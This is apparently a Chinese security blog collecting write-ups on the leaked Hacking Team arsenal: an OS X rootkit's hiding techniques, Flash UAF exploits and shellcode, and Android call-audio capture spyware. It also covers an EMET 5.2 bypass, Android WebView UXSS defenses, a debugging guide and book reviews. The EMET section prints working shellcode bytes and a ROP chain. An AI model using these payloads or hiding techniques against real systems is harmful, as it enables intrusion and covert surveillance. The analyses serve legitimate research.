Hacking Team 武器库研究(六):Mac OSX Rootkit 技术分析

泄露的 driver-macos-master 项目是一个Mac OS X Rootkit 病毒,从源码看,它可能就是当年红极一时的病毒“OSX.Crisis”,因为两者之间连一些函数名都一模一样(比如关键函数hide_proc、hide_kext_osarray,甚至连废弃的hide_kext_leopard也有),逻辑也基本相同。更为牛逼之处的是,Crisis是在2012年爆发的,而该份代码在2009就已完工,想想之间的差距吧,这也再一次证明Hacking Team的技术实力有多强大。

##【源码分析】

下面分析下该 OSX rootkit 技术内幕:

1、先从入口函数 mchook_start 开始分析,主要就是注册字符设备,然后在文件系统上创建设备节点,常规的驱动入口行为。

对应的字符设备转换表如下:

主IOCTL回调函数就下面3个,其中cdev_open和cdev_close为空,整个处理逻辑都包含在cdev_ioctl函数中:

2、关键看下cdev_ioctl 回调函数,里面包括各种潜伏隐藏的行为。在mchook.h文件头中就定义了一些cdev_ioctl中调用到的函数,从函数名上基本可以推测出该rootkit包含文件隐藏、进程隐藏、内核模块隐藏等功能。

3、进程隐藏:在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在运行的进程,下面是关于隐藏进程的代码,位于hide_proc函数中(还有另一个未被调用到的函数hide_proc_l,也是用于实现相同功能),它相应进程从进程链表和进程Hash表里都移除掉。之前笔者在分析 rubilyn osx rootkit 时,发现它就没有从Hash表里移除进程相关信息,导致可通过“ps -p pid ”命令查找到进程。

4、内核模块隐藏:早期针对leopard系统的内核模块隐藏是调用 hide_kext_leopard 函数,现在已经不再使用,它只是简单地遍历kmod_info 内核模块链表结构,找到相匹配的模块名,然后将从它链表中踢除,这样当执行kextstat命令时就查看不到隐藏的内核模块,但这种方法现在无效。

为了支持多个系统版本,后来重写了个 hide_kext_osarray 函数。在“雪豹”苹果系统之后,有个叫sLoadedKexts 的 IOKit OSArray类引用到内核模块列表,不过它并没有导出符号,只要能够找到它,那么就可以对sLoadedKexts 数组进行修改,以达到隐藏内核模块的目的。

庆幸的是,OSKext::lookupKextWithLoadTag 函数里面引用到sLoadKexts(源码参见:http://www.opensource.apple.com/source/xnu/xnu-2782.1.97/libkern/c++/OSKext.cpp),通过它可以定位到sLoadKexts地址。

它对应的内核模块位于/System/Library/Extensions/System.kext/PlugIns/LibKern.kext/LibKern,不过当用IDA加载分析时,发现它只有导入表的函数信息,并无实际函数,包括PlugIns目录下的其它驱动也是大多如此。进一步分析,发现这些驱动其实都链接到/System/Library/Kernels/kernel里面,可以发现OSKext::lookupKextWithLoadTag函数对应的符号名为__ZN6OSKext21lookupKextWithLoadTagEj。

通过该符号即可找到OSKext::lookupKextWithLoadTag函数,然后开始搜索机器 E8,即CALL指令,从上面的源码看,调用的第一个函数是IORecursiveLockLock,然后跳过call指令(共5字节)进入下一条指令。

再根据32位/64位系统进行区分,对于32位比较简单,call下一条指令就包含有sLoadedKexts地址,下图就是32位系统Snow Leopard 10.6.8的OSKext::lookupKextWithLoadTag函数,由于笔者缺乏该环境,因此图片是从网上扣来的:

但对于64位系统会相对繁琐一些,它先找到机器码 48 8B,即mov指令,获取第2个操作数的实际内存地址,即为sLoadKexts,不过笔者在最新版10.10.4上发现必须是在第2个 48 8B才有效,因此该份rookit只适用于低版本的 64位Leopard系统

定位到sLoadedKext这个OSArray数组之后, sLoadedKext[OFFT_KEXT_COUNT] = sLoadedKext[0x14] = 元素个数,即已加载的内核模块个数。接着找到最后一个kext模块的kmod_info结构信息,判断该内核模块是否为com.apple.mdworker,若是则将递减模块数量,进而隐藏kext模块,所以实际要隐藏哪个模块就得去更改com.apple.mdworker为相应的模块名。

5、文件隐藏:为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况:

下面是查看finder进程2841的调用函数,其中的getdirentriesattr在最新版10.10.4上未发现被调用,以下测试是之前在10.9系统上测试的,但是在10.10.4中getdirentriesattr函数依然在syscall.h中被定义着。

1
2
3
4
5
6
7
riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir

dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

2 1078881 getdirentriesattr:entry
2 1363229 getdirentriesattr:return =1
……

下面是ls命令(64位系统)调用的函数:

因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

回头看源码,发现该rootkit也是对上面这3个函数进行hook:

看下其中的hook_getdirentiries64函数,其它类似,主要还是移除指定文件的dirent结构,其中dirent结构原型如下:

先调用原始函数,获取真实的文件信息(源码中的direntry对应的其实是dirent结构,在新版版本中这两个结构是独立存在的了):

然后遍历文件链表,找到相匹配的文件名,然后用后一个dirent文件结构覆盖当前找到的dirent文件结构,这样就相当于指定的文件结构信息从链表中移除,从而实现文件隐藏的目的。

10、官方另外在testuint目录下放有用于测试的rootkit的工具kextControl.c 和 solveKernel.c。

【总结】

实际测试时,由于没有合法签名,导致驱动也无法被正常加载,因此未能作实际测试。

1
15/7/17 下午2:23:27.921 com.apple.kextd[44]: ERROR: invalid signature for com.revenge.kext.machooker, will not load

此次泄露的OSX rootkit 相对还是比较常规的技术,毕竟是2009的源码了,年代久远,但在最新OSX 10.10上稍作修改,应该还是可以用的。

Hacking Team 武器库研究(五):Mac OSX 64位 Shellcode 技术分析

在此次泄露的Flash 0Day的利用代码都包含针对Mac OSX 64位系统的利用,以往在网上看到的大多是Windows平台32/64位的利用代码,很少有Mac版的flash利用代码曝光,刚好可以借机分析学习下军用级武器的写法。

##【源码分析】

下面以第1个Hacking Team泄露的CVE-2015-5119 Flash 0day 漏洞中的利用代码为例:

1、内在中暴力搜索Mach-o文件头magic标记 0xfeedfacf(类似搜索windows平台下的PE头MZ标记),它代表64位程序的意思,也是Mac OS X上可执行文件的开头。

可以用otool或者MachOView查看Mach-o可执行文件格式:

2、在Mach-o文件头之后是加载命令(Load Command)区域,接下来程序搜索用于映射文件中的段到进程内存空间的LC_SEGMENT_64加载命令,遍历每个被加载的段,找到包含段标记为S_SYMBOL_STUBS(代表包含符号信息) 和 S_ATTR_PURE_INSTRUCTIONS (代表包含机器码)的段,然后获取段地址Address、偏移量Offset、Size、Stubs Size、Stubs数量以及Indirect Sym Index(间接符号表索引值)。

3、找到 _LINKEDIT 段,从中获取相应的虚拟地址和文件偏移,然后互减得到两者之间的偏移量。

4、获取LC_SYMTAB加载命令的相关信息,该命令用于指定文件所使用的符号表,找到后分别获取符号表偏移量、符号数、字符串表偏移量、字符串表大小

5、获取LC_DYSYMTAB加载命令的相关信息,该命令用于指定动态链接库所使用的符号表,找到后获取间接符号表偏移量

6、将前面获取的符号表地址、间接符号表地址和字符串表地址分别加上第3步获取的偏移量

7、从前面获取的3个值,去字符串表中索引mprotect函数,找到其对应的内存地址,以利用它去真正的shellcode部分赋予可执行权限(这部分与Windows平台上的代码基本一致),以绕过DEP的保护。

8、前面都是为执行接下来x64 shellcode代码而作的准备,由于vfork所创建的子进程与父进程共享数据,因此可用于检测是否位于沙盒中,若在沙盒中vfrok会执行失效,进而退出执行。

9、通过为syscall指定调用号来调用execve函数,以执行”/Applications/Calulator.app/Contents/MacOS/Calculator”打开计算器,然后再调用exit退出子进程。

10、设置返回值为int atom类型,左移3位是为了对最后3 bits 清零,因为它代表着atom类型,再加6是为了设置为int atom类型,因为shellcode相当于自定义函数,它是用于替换payload的JIT函数去执行的,最后弹出栈数据,以维持栈平衡。

##【总结】

此次的Mac OSX 64位平台的利用,主要还是先根据Maco-o文件头标记找到flash模块,然后去索引符号表、间接符号表和字符串表,进而找到mprotect函数的地址,将shellcode内存块设置为可执行权限。真正用于弹出计算器的shellcode代码相对比较简单,向syscall传递调用号来执行execve函数,进而打开指定的程序文件Calculator,实现最终的任意代码执行。

Hacking Team 武器库研究(四):Flash New 0Day (opaqueBackground UAF)

周末大清早起来,就看到知道创宇在微博上说,Hacking Team又泄露新的Flash 0Day,在当前最新实测可用。于是笔者下载了一份利用代码,经测试确实在最新版上可利用,目前Adobe官方未发布补丁。此次泄露的0day并没有在泄露的工具库里面,而是在邮件附件中被发现的。

##【利用代码分析】

1、这次的漏洞主要出现在AS3 “opaqueBackground” 属性上,它主要用于设置背景颜色。首先创建_ar Array数组,然后用vector.对象填充。

2、接着创建TextLine对象,然后设置它的opaqueBackground属性,再自定义valueOf函数,这个函数是触发漏洞的关键,跟前几个flash漏洞类似。

3、设置opaqueBackground属性,将_mc(MyClass类型)赋予opaqueBackground,由于数据类型不同,AVM会进行类型转换,此时自定义的valueOf2就会被调用。

4、调用recreateTextLine函数重建TextLine,导致原分配的TextLine对象内存被释放,但程序依然保留着对它的引用,所以漏洞也是个UAF漏洞。接着重新设置_ar[i].length的长度值(_vLen 大于原始长度值 ),会导致重新分配内存,从而占用已释放的内存,此时里面都是vector.对象。最后返回_vLen+8的值给_ar[_cnt].opaqueBackground,如果利用成功,它刚好会去篡改某个vector.对象的长度值,这里是改为106大小。

5、找到被篡改了长度的vector对象,由于其长度值被更改,允许读取到更大内存空间的数据,再用这个被改的vector去覆盖下一个vector长度为0x40000000,从而获取需要调用的函数地址,绕过ASLR保护。根据不同的系统平台,选择不同的shellcode代码执行,这些跟前2个flash 漏洞的利用模板基本一致。

6、内存搜索的方式也是采用搜索“MZ”PE头这种暴力方式,再去解析PE文件格式,从导入表中的找到kernel32.dll库,再从其函数名列表里找到VirtualProtect函数,进而找到对应的函数地址进行调用。

7、看下ShellWin32.Exec函数,通过内存搜索找到VirtualProtect函数地址,将包含执行calc的shellcode设置为可执行权限,以此绕过DEP保护,并用指向shellcode的指针替换payload对应的JIT函数指针,当调用Payload.call 时则执行的正是shellcode。

##【总结】

此次漏洞主要是AS3 opaqueBackground 属性导致的UAF漏洞,依然是valueOf导致的漏洞,此次Hacking Team 曝光的3个漏洞均是valueOf问题,用的基本是同一套利用模板,并且支持多个平台环境,都是采用vector exploit技术去实现信息泄露,从而绕过ASLR,再调用virtualProtect去赋予shellcode可执行权限,以此绕过DEP保护。可以预见未来将会有很多flash exploit 采用类似技术,甚至可能在一些恶意样本中找到Hacking Team的Flash利用模板,未来的利用代码将会更加工程化,通用化。

Hacking Team 武器库研究(三):core-android-audiocapture

泄露的core-android-audiocapture一款Android平台下基于DBI Hook框架的语音窃取工具,可窃取当前国内外流行的即时聊天工具,比如wechat、whatsapp、skype等等。

##【源码分析】

1、搜索 mediaserver 进程,然后注入libt.so,并将窃取的语音文件dump到指定目录。

2、查看libt.c源码,其动态链接库的构造函数为my_init,这里参数和返回值都必须为空。

3、检测当前的Android系统是否为4.x版本,然后分不同的子版本进行处理。

4、比如对于Android 4.0版本,会指定mStramType和mname的偏移量,不同系统版本对应的偏移量不同,同时也定义一些将被hook的函数,这些Hook_coverage_x是定义在hijack_func/hooker.h中,对应的函数名在注释代码中已经写得很清楚,主要是Hook Android系统的audio接口提供库libaudiofinger.so里的函数,以用于实现录音(RecordThread)和放音(PlaybackThread)功能。


5、以Hook回调函数recordTrack_getNextBuffer3_h为例分析下它的修改行为,该函数定义在hijack_func/hooker_thumb.c中,原getNextBuffer获取的缓冲区主要是用于存放录音数据,而录音的开始、停止动作的相关函数也是被hook掉。在recordTrack_getNextBuffer3_h函数中先调用原始函数,得到返回后的结果,然后获取帧大小、采样率、帧数以及原始的AudioBufferProvider::Buffer地址。

6、创建指定格式的文件名,将语音数据dump出来写入到前面创建的文件:

7、录音Hook的日志记录如下,其它hook动作类似,此处就不一一分析。

8、生成的dump文件,会再调用decode.py去转换成wav语音文件

##【结语】

网上有人说这工具会去解密微信的语音格式,其实它根本没有做这方面的处理,也没必要,因为它Hook的Android系统的Audio库,当你使用一些即时聊天工具进行语音对话时,就会触发放音的函数,此时语音数据早就可以拿到,而decoder.py只是作一些wav的格式化处理,使得dump出来的文件能够转换成可播放的wav文件。在decoder目录下的一些聊天工具目录,只不过是Hacking Team成员在作一些测试而已。

Hacking Team 武器库研究(二):CVE-2015-5119 Flash 0day

目前 Hacking Team 泄露的Flash 0Day已经修复,官方已提供补丁下载,与此同时Metasploit已经提供有漏洞利用代码。在HT泄露的源码目录里,已经包含有对漏洞的简要分析。

【源码分析】

1、在MyClass.TryExp1函数中触发漏洞,先分配一组ByteArray,长度为0xfa0,相当于0x1000大小的内存。

2、设置ByteArray值,在将MyClass类赋值给_ba[3]时,AVM会调用MyClass.valueOf函数试图将MyClass类型其转换成Byte类型。

3、在valueOf 函数中会重新设置更大长度的ByteArray,导致释放原有的ByteArray内存,再重新分配,但是valueOf函数返回后,依然保持着对已释放内存的引用,从而导致UAF漏洞的发生。紧接着分配一堆0x3f0大小的vector.对象,以占用已释放的内存,然后返回0x40值给ba[3],刚好覆盖vector对象头部的长度值,以实现读写任意内存地址。

4、后面的代码基本跟第一篇分析文章中介绍一样。再补充下上面调用valueOf转换类型的AVM伪代码:

1
2
3
4
5
void ByteArray.setObjInternal(int offset, obj)
{
byte* dest = this.getStorage(offset);
dest* = toInteger(obj); // call MyClass.valueOf()
}

将ba[3]的内存存储地址保存到本地定义的目标指针,然后对象类型转换成整数类型并赋值给目标指针,当ByteArray数组长度改变时,它会释放原有ba内存,目标指针就成为悬挂指针。

Hacking Team 武器库研究(一):CVE-2015-0349 Flash ConvolutionFilter UAF

CVE-2015-0349 Flash ConvolutionFilter UAF 是今年Pwn2Own大赛上被用于攻破64位Flash的漏洞,在泄露的Hacking Team武器库中就包括了该漏洞的利用代码,以及利用本地提权漏洞作为shellcode,以绕过沙盒的保护。泄露的利用代码包含完整的工程文件,用Flash Develop打开项目即可编译。

【源码分析】

1、MyClass.TryExp1是漏洞利用的入口函数,它先创建ConvolutionFilter类,它是一个矩阵环绕滤镜,比如用于实现模糊、斜边、锐化等效果。它的2个参数分别为matrixX矩阵列数和matrixY矩阵行数,这里分别是14和15。

2、接下来程序将分配ConvolutionFilter的a(Array类型)赋值给_cf (ConvolutionFilter对象),并设置matrix值为m(Array类型),接着将matrix数组的第一个元素赋值给m0,当它不为0是则表示漏洞不存在,否则即存在UAF漏洞。为何如此?在第一点中,我们知道m[0]是MyClass类,该类里面定义有valueOf方法,在设置martix值时会调用到该方法,具体见第3点分析。

3、在valueOf 函数中,matrixX会被重新设置为15(原始值为14),导致原先有matrix数组被释放,然后重新分配矩阵滤镜的matrixX内存,但此时_cf.matrix依然保持着对已释放的matrix数组的引用,所以在第2点会会去判断matrix数组首个元素值是否为0(原初始值也是0),也就是判断已释放的数组是否还可被引用。

4、通过分配一堆Vector.对象去占用已释放的内存,长度刚好与matrix数组长度相同,也就是matrixX matrixY = 1415,每个vector.对象的实际大小就是14154=0x348(840),最后在从valueOf函数中返回2,2会被写入matrix数组首个元素中,但此时实际是向Vector对象写入数据,从而更改vector对象长度,实现任意内存读写。

5、再回头继续看MyClass.TryExp1函数,找到已经被篡改长度值的vector对象,再根据不同的系统平台执行不同的shellcode代码。

6、看下32位windows平台的shellcode执行相关的ShellWin32类,先看初始化函数init,它只是做一些全局变量赋值。

7、真正用于执行代码的是ShellWin32.Exec函数,先获取包含shellcode的_x32对象地址,然后在内存中搜索PE头,解析PE文件格式,从导入表中找到VirtualProtect函数地址,调用它对shellcode内存地址设置可执行权限,接着找到自定义的payload空函数对应的JIT函数指针,用shellcode地址去替换JIT指针,最后调用payload.call 以执行shellcode的。

绕过最新版 EMET 5.2 保护摘要

绕过EMET 5.2 EAT保护:

【保护原理】

分别对ntdll、kernel32和kernelbase的EAT基址下断点,断点地址记录在调试寄存器dr0、dr1、dr2、dr3上,dr6保存最新调试异常的状态信息,dr7包含4个断点的设置,当利用漏洞去调用EAT时就会触发中断。

开启EAT保护前:

1
2
3
4
5
0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc int 3

开启EAT保护后:

1
2
3
4
5
0:000> rM 20
dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx

【绕过方法】

通过构造异常触发,来构造寄存器上下文,防止后面因dr寄存器清空也触发异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mov     eax, 150h     ; 指向服务号,防止异常处理失效
xor ecx, ecx
sub esp, 2cch ; makes space for CONTEXT
mov dword ptr [esp], 10010h ; CONTEXT_DEBUG_REGISTERS
mov dword ptr [esp + 4], ecx ; context.Dr0 = 0
mov dword ptr [esp + 8], ecx ; context.Dr1 = 0
mov dword ptr [esp + 0ch], ecx ; context.Dr2 = 0
mov dword ptr [esp + 10h], ecx ; context.Dr3 = 0
mov dword ptr [esp + 14h], ecx ; context.Dr6 = 0
mov dword ptr [esp + 18h], ecx ; context.Dr7 = 0
push esp
push 0fffffffeh ; current thread
mov edx, esp
call dword ptr fs : [0C0h] ; this also decrements ESP by 4
add esp, 4 + 2cch + 8

disable_EAF = (
"\xB8\x50\x01\x00\x00" + # mov eax,150h
"\x33\xC9" + # xor ecx,ecx
"\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh ,makes space for CONTEXT
"\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h
"\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx
"\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx
"\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx
"\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx
"\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx
"\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx
"\x54" + # push esp
"\x6A\xFE" + # push 0FFFFFFFEh
"\x8B\xD4" + # mov edx,esp
"\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h]
"\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h
)

绕过EMET 5.2 MemProt保护:

【保护原理】

EMET对VirtualProtect和VirtuaProtectEx进行Hook,正常情况下,执行上述函数后调用ntdll!ZwProtectVirtualMemory,接着向eax=0x4d传递服务号,然后调用 call dword ptr fs:[0C0h],此时EDX传递5个参数(进程句柄、地址、大小、可读写执行权限、可写地址),然后继续执行下去。

【绕过方法】

旧版EMET如4.1上,可以用VirtualAlloc/VirtuAllocEx。

最新版EMET 5.2上,可以用后面执行的原始代码去代替被EMET HOOK的地方,即构造ROP,使得eax=0x4d,然后通过ntdll!NtQueryInformationThread中的call dword ptr fs:[0c0h]指令去执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
[
msvcr120 = 0x73c60000 # 固定基址,无ASLR保护模块msvcr

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000 # 0x37E0000

# EAX = ntdll!RtlExitUserThread
md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7056507c, # IAT: &ntdll!RtlExitUserThread
md + 0x70501e19, # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
0x11111111,
0x11111111,

# EAX = ntdll!NtQueryInformationThread
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704a691c, # ADD EAX,DWORD PTR [EAX] # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
md + 0x704ecd87, # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
0x11111111,
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x11111111, # for RETN 0x04

# EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}

# EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
md + 0x704819e8, # XCHG EAX,EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}

# ECX = 0; EAX = 0x4d
md + 0x704f2485, # XOR ECX,ECX # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x4d,

md + 0x704c0a08, # JMP EBX
md + 0x7055adf3, # JMP ESP
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14

# real_code:
0x90901eeb, # jmp skip

# args:
0xffffffff, # current process handle
0x11111111, # &address = ptr to address
0x11111111, # &size = ptr to size
0x40,
md + 0x705658f2, # &Writable location [MSVCR120.dll]
# end_args:
0x11111111, # address code_size + 8 # size
# skip:
]

Android Webview UXSS 漏洞攻防


“前事之不忘,后事之师”—— 《战国策·赵策》

【开篇:前车之鉴】

随着移动互联网的发展,很多PC端的安全问题也在移动端逐步出现。比如,使用WebKit内核的Chrome浏览器此前就出现过各种通用型的XSS(即UXSS,见文末附注)【如图1】,现在Android上也出现同类漏洞。Google把WebKit移植到了Android上,并将其作为WebView组件封装在SDK中,但官方忘记了“前车之鉴”,导致曾经在WebKit出现过的漏洞,在Android系统上再一次重现,即使该漏洞在PC版Chrome上已修复过。



图1 :Chrome UXSS漏洞列表

目前,许多Android应用是直接使用系统自带的WebView,进而导致系统上安装的各类应用可能受到WebView漏洞的影响,这就进一步将漏洞影响范围扩大化,使得各种主流应用都受其影响,一场未见销烟的血雨腥风就此展开。

【中篇:血雨腥风】

从2011年开始,Google的chromium项目的Bug列表就陆续被报告webkit存在一些UXSS漏洞。比如CVE-2011-3881 WebKitHTMLObjectElement UXSS漏洞,其对应的PoC代码【如图2】:



图2:CVE-2011-3881 PoC代码

该漏洞主要由于HTMLPlugInImageElement::allowedToLoadFrameURL函数中对Javascript URL地址校验不足导致的跨域问题。查看下修复前后的代码对比【如图3】,可以发现修复代码对使用Javascript伪协议的URL增加了安全检测,只有当前域与内嵌ifame域的serucityOrigin安全信息(比如protocol、domain、host、port等等)在许可范围内才能互相访问,即浏览器的“同源策略“。



图3:补丁代码对比

补丁代码是调用securityOrigin::canAccess来检测是否同源,对应代码【如图4】。该函数主要执行以下操作:

1. 先判断两个securityOrigin信息是否相同,是否具备唯一性,相同时则返回真,不相同时又会根据是否设置document.domain进行不同的检测;
2. 当两者均未设置document.domain时,则检测URL中的scheme、host、port是否相同,相同则返回真;
3. 当均设置document.domain时,则检测URL的domain与scheme是否相同,相同则返回真;
4. 若是打开本地文件,则执行其它文件安全检查。



图4:SecurityOrigin::canAccess函数代码

其它很多UXSS漏洞也是对源检测不全导致的跨域问题,虽然在Chrome浏览器上修复了,但由于Android系统引用了同一套WebKit,导致曾被修复的漏洞再次重现。

2013年底,国内安全人员就开始陆续将这类Android UXSS爆光在网上,也有不少人到乌云平台上刷分。之后,各种主流IT资讯站点、漏洞平台、自媒体上纷纷可以见到Android上各种弹框框的场面,尤为火爆。

此前,腾讯安全中心终端安全团队也对Android UXSS漏洞进行过研究,发现此类UXSS漏洞危害还是比较大的,且影响到许多主流的Android应用,特别是涉及金融交易、个人通讯等敏感功能的应用,很容易导致资金被窃、帐号被盗或者隐私泄露。对此,TSRC的同学做了个演示demo,通过提供一个二维码或者url发送给他人,当使用聊天工具或者购物应用扫描二维码或者打开链接后,那么就可以窃取到他人的个人资料【如图5】。



图5:利用UXSS漏洞窃取用户资料

同时,TSRC的同学也开发出一款UXSS自动化检测工具【如图6】,既支持批量测试,也支持PC、Android浏览器的检测,也发现当前国内一些Android下的浏览器也受UXSS漏洞影响,个别PC端的浏览器也受到影响。



图6:浏览器UXSS自动化检测工具

Android UXSS主要是Android系统本身遗留的安全问题,但如果都各大应用厂商都依赖Google来修复的话,就显得过于被动了。而且即使Google修复了,多数用户也未必会及时升级。这样的话,许多用户依然可能会受到UXSS漏洞的影响。所以对于各应用厂商而言,动手去堆壁固垒筑造属于自己的城防是很有必要的。

【下篇:堆壁固垒】

在Android的WebViewClient对象中,提供有一个叫OnPageStarted的事件方法【如图7】,它是WebView注入代码最早的事件,因此我们可以在攻击者利用UXSS注入JS代码前执行我们自己的检测代码,判断是否存在跨域操作。



图7:OnPageStared事件方法

与此同时,还可通过对动态创建的危险元素进行 JS Hook,比如iframe、object等元素,然后再跟踪里面的的事件行为,看是否存在跨域,若存在就全部过滤掉,拒绝加载。

目前腾讯安全中心终端安全团队已经完成该防御方案的开发,其测试效果【如图8】,可在不破坏程序稳定性的情况下,防御Android上的UXSS漏洞。



图8:Android UXSS防御工具Demo

前面提到的这些UXSS漏洞,目前已经在最新版Android 4.4中修复,同时它也提供了自动升级webkit的功能,以便及时修复漏洞,因此建议广大用户尽量采用最新版的Android系统。

对于厂商,除采用OnPageStarted + JS Hook的方法,还可以打包最新的Webkit内核供自家产品调用,但这会大大增加应用包的体积,而且需要跟随Google Webkit官方进行更新,相对麻烦一些,各厂商可根据自身情况选定。

【后记:路漫漫其修远】

Android UXSS只是Android漏洞上的冰山一角,除此之外,还有addJavascriptInterface执行漏洞、FakeID漏洞等等,未来可能还会有其它漏洞被爆光,在面对这类安全问题时,如何更好地防御它,我们还有很多路要走。
有攻,必有防,如何在攻与防的对立统一中寻求突破,是一个安全人员永恒的话题。

【附注:何为UXSS】

通用型跨站脚本(UXSS,Universal Cross-Site Scfipting),主要是利用浏览器及插件的漏洞(比如同源策略绕过,导致A站的脚本可以访问B站的各种私有属性,例如cookie等)来构造跨站条件,以执行恶意代码。它与普通的XSS的不同点就在于漏洞对象及受害范围的差异上,如表1所示。



表1:UXSS与普通XSS的对比

正是由于UXSS可影响在浏览器访问的所有站点,因此才将其称为通用型跨站。

动态调试 Android so库函数的方法

  1. am start -D -n 包名/类名,以等待调试的模式启动APK应用;

  2. su权限开启android_server,然后adb forward tcp:23946 tcp:23946 转发端口,并用IDA附加相应进程;

  3. 通过DDMS获取相应进程的端口号,然后使用jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700(DDMS查询到的端口号);

  4. 连接成功后,按F9后手机上的“waiting for debugger”提示会自动消失;

  5. 此时在so库的JNI_Onload函数上下断点,可通过Ctrl+S找到对应so库的基址,然后加上JNI_Onload的文件偏移量,即可找到JNI_Onload函数的内存地址,然后按F9运行后即可断下。

下图是使用上述方法,断在某so库JNI_Onload函数的截图:

购书心得




富家不用买良田,书中自有千钟粟;
安居不用架高堂,书中自有黄金屋;
出门莫恨无人随,书中车马多如簇;
娶妻莫恨无良媒,书中自有颜如玉;
男儿若遂平生志,六经勤向窗前读。

—— 宋真宗赵恒《劝学诗》

移动安全篇

国 内移动安全书籍很少,主要还是以国外的居多,虽然大部分未引进,但是很多可以在网上找到高清彩色英文原版,有些可能就是官方自己发出来的。虽然国外这方面 的书籍多,但看过几本Andorid安全书籍,感觉还是一般,深度不够,比如《Android Security:Attacks and Defenses》、《Android Apps Security》、《Mobile Application Security》、《Mobile Malware Attacks and Defense》,国内的《移动互联网之智能终端安全揭秘》也是不推荐,过多列点组装,缺乏个人主观理解,《Android安全机制解析与应用实践》更是 别买,学术派写的wiki式书籍。笔者推荐几本:《Android Security Cookbook》、《Android 软件安全与逆向分析》主要是讲Android应用安全,Android系统安全的书籍尚无专著出版,不过4月份《Android Hacker’s Handbook》就要出版了,看目录还是感觉蛮有料的,iOS安全书籍相对少一些,主要有《iOS Hacker’s Handbook》(主要讲系统安全,别买中文版,译者缺乏软件安全基础,错误太多,令人不忍直视)、《iOS应用安全攻防》(英文版,偏向应用安全)、 《iOS应用逆向工程:分析与实战》(今年刚出的iOS应用逆向方面的书籍),其它关于Android与iOS开发的书籍,网上电子版很多,自己挑着看 吧,移动安全方面的书籍,我大多是看电子书,买的纸质书基本都是不行。所以目前,移动安全书籍,还是尽量看国内英文原版吧,如果对Android安全感兴 趣的,看下《Android Hacker’s Handbook》一书(补充:目前网上已有电子版)。

程序设计篇

